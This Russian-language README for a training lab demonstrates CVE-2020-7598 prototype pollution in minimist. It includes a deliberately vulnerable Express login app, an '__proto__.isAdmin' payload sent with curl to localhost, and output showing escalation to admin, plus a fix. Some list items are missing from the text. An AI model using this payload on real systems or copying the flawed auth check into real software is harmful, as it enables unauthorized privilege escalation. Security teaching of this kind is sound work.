renewablehacking/cve-2020-7598Учебная лаборатория, демонстрирующая CVE-2020-7598 — прототипное загрязнение в minimist с уязвимым приложением Node.js/Express, пейлоад эксплойта и пошаговое руководство по обходу аутентификации для исследований в области безопасности.
Этот проект создан исключительно для:
Не используйте против систем без разрешения.
CVE-2020-7598 — это уязвимость Prototype Pollution в пакете npm:
< 0.2.1>= 1.0.0 < 1.2.3Эта уязвимость позволяет атакующему модифицировать:
Object.prototype
через полезную нагрузку, например:
--__proto__.isAdmin=true
В результате:
В JavaScript:
const user = {};
пустой объект по-прежнему наследует свойства от:
Object.prototype
Если атакующему удается выполнить:
Object.prototype.isAdmin = true;
то:
({}).isAdmin
даст:
true
для всех обычных объектов.
https://github.com/renewablehacking/CVE-2020-7598.git
cd CVE-2020-7598
npm install
ИЛИ вручную:
npm install express [email protected]
Создайте файл:
app.js
Содержимое:
const express = require("express");
const minimist = require("minimist");
const app = express();
/*
Симуляция базы данных пользователей
*/
const users = [
{
username: "zen",
password: "123"
}
];
/*
Уязвимая конечная точка
*/
app.get("/parse", (req, res) => {
/*
Получить сырой запрос
*/
const payload = req.query.payload;
/*
Преобразовать в массив аргументов CLI
*/
const args = payload.split(" ");
console.log("ARGS:", args);
/*
Уязвимый парсинг
*/
minimist(args);
console.log("GLOBAL isAdmin:", {}.isAdmin);
res.send("Arguments parsed");
});
/*
Конечная точка входа
*/
app.post("/login", express.json(), (req, res) => {
const { username, password } = req.body;
const user = users.find(
u =>
u.username === username &&
u.password === password
);
if(!user){
return res.json({
success: false
});
}
console.log("Own property:", user.hasOwnProperty("isAdmin"));
console.log("user.isAdmin:", user.isAdmin);
/*
Уязвимая логика аутентификации
*/
if(user.isAdmin){
return res.json({
success: true,
role: "ADMIN"
});
}
res.json({
success: true,
role: "USER"
});
});
app.listen(3000, () => {
console.log("Server running on port 3000");
});
node app.js
Вывод:
Server running on port 3000
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'
Вывод:
{
"success": true,
"role": "USER"
}
Откройте браузер:
http://localhost:3000/parse?payload=--__proto__.isAdmin=true
ИЛИ используйте curl:
curl "http://localhost:3000/parse?payload=--__proto__.isAdmin=true"
Терминал сервера:
GLOBAL isAdmin: true
Это означает:
Object.prototype.isAdmin = true
успешно модифицировано.
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'
Вывод:
{
"success": true,
"role": "ADMIN"
}
При этом:
isAdmin.Следующий код:
if(user.isAdmin)
проверяет не только собственное свойство объекта.
JavaScript будет искать:
Поскольку атакующему удалось модифицировать:
Object.prototype.isAdmin = true
то все обычные объекты наследуют это свойство.
Лог сервера:
Own property: false
user.isAdmin: true
Это означает:
isAdmin не является собственным свойством пользователя,Безопасная версия minimist:
npm install minimist@latest
Исправленная версия блокирует:
__proto__constructorprototypeтаким образом, prototype pollution больше не работает.
Лаборатория и документация созданы в учебных целях для изучения безопасности приложений Node.js и исследований prototype pollution.